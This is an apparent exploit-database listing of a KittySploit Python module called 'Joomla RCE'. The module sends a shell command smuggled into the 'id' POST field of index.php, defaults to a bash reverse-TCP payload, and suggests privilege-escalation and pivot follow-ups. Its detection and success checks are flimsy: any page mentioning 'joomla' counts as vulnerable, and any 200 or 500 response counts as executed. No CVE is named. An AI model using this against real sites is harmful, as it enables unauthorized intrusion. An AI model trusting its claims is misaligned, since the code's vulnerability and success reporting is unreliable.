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Joomla RCE

🗓️ 17 Jan 2026 08:03:29Reported by KittySploitType 
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Remote code execution in Joomla via template injection and file upload vulnerabilities.

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Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from kittysploit import *
from lib.protocols.http.http_client import Http_client
import urllib.parse


class Module(Exploit, Http_client):

    __info__ = {
        "name": "Joomla RCE",
        "description": "Remote Code Execution exploit for Joomla vulnerabilities including template injection and file upload vulnerabilities",
        "author": "KittySploit Team",
        "cve": [],
        "arch": [Arch.X86, Arch.X64],
        "platform": Platform.MULTI,
        "category": "singles",
        "payload": {
            "default": "payloads/singles/cmd/unix/bash_reverse_tcp",
            "arch": "cmd",
            "platform": ["unix", "linux"],
            "category": "singles",
        },
    'agent': {
        'risk': 'intrusive',
        'effects': ['active_exploitation'],
        'expected_requests': 2,
        'reversible': False,
        'approval_required': True,
        'produces': ['exploit_paths', 'risk_signals'],
        'cost': 1.5,
        'noise': 0.5,
        'value': 1.0,
        'requires':         {'min_endpoints': 0,
         'min_params': 0,
         'tech_hints_any': [],
         'tech_hints_all': [],
         'specializations_any': [],
         'risk_signals_any': [],
         'auth_session': False,
         'capabilities_any': [],
         'capabilities_all': [],
         'confidence_min': {},
         'confidence_min_any': {},
         'endpoint_pattern_any': [],
         'param_any': [],
         'api_surface_ready': False},
        'chain':         {'produces_capabilities': [{'capability': 'rce', 'from_detail': ''},
                                   {'capability': 'shell', 'from_detail': ''}],
         'consumes_capabilities': [],
         'option_bindings': {},
         'suggested_followups': ['post/shell/multi/gather/privesc_suggester',
                                 'post/shell/multi/manage/pivot_autoroute']},
    },
    }

    exploit_path = OptString("/index.php", "Path to vulnerable endpoint", required=False)
    component = OptString("com_content", "Joomla component to exploit", required=False)

    def check(self):
        """
        Check if target is Joomla
        """
        try:
            response = self.http_request(method="GET", path="/")
            if response:
                content = response.text.lower()
                if 'joomla' in content or '/administrator' in content:
                    return {
                        'vulnerable': True,
                        'reason': 'Joomla detected',
                        'confidence': 'medium'
                    }
            return {
                'vulnerable': False,
                'reason': 'Joomla not detected',
                'confidence': 'low'
            }
        except Exception as e:
            return {
                'vulnerable': False,
                'reason': f'Check failed: {str(e)}',
                'confidence': 'low'
            }

    def run(self):
        """
        Execute the exploit
        """
        try:
            print_status("Attempting Joomla RCE exploit...")
            
            path = self.exploit_path if self.exploit_path else "/index.php"
            component = self.component if self.component else "com_content"
            command = self.payload
            
            # Try template injection
            payload_data = {
                'option': component,
                'task': 'view',
                'id': f"1; {command}; #"
            }
            
            response = self.http_request(
                method="POST",
                path=path,
                data=payload_data,
                allow_redirects=False,
                timeout=10
            )
            
            if response and response.status_code in [200, 500]:
                print_success("Command executed successfully")
                self.vulnerable()
                return True
            
            print_error("Exploitation failed")
            self.not_vulnerable()
            return False
            
        except Exception as e:
            print_error(f"Exploitation failed: {e}")
            return False

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10 Jul 2026 11:31Current
6Medium risk
Vulners AI Score6
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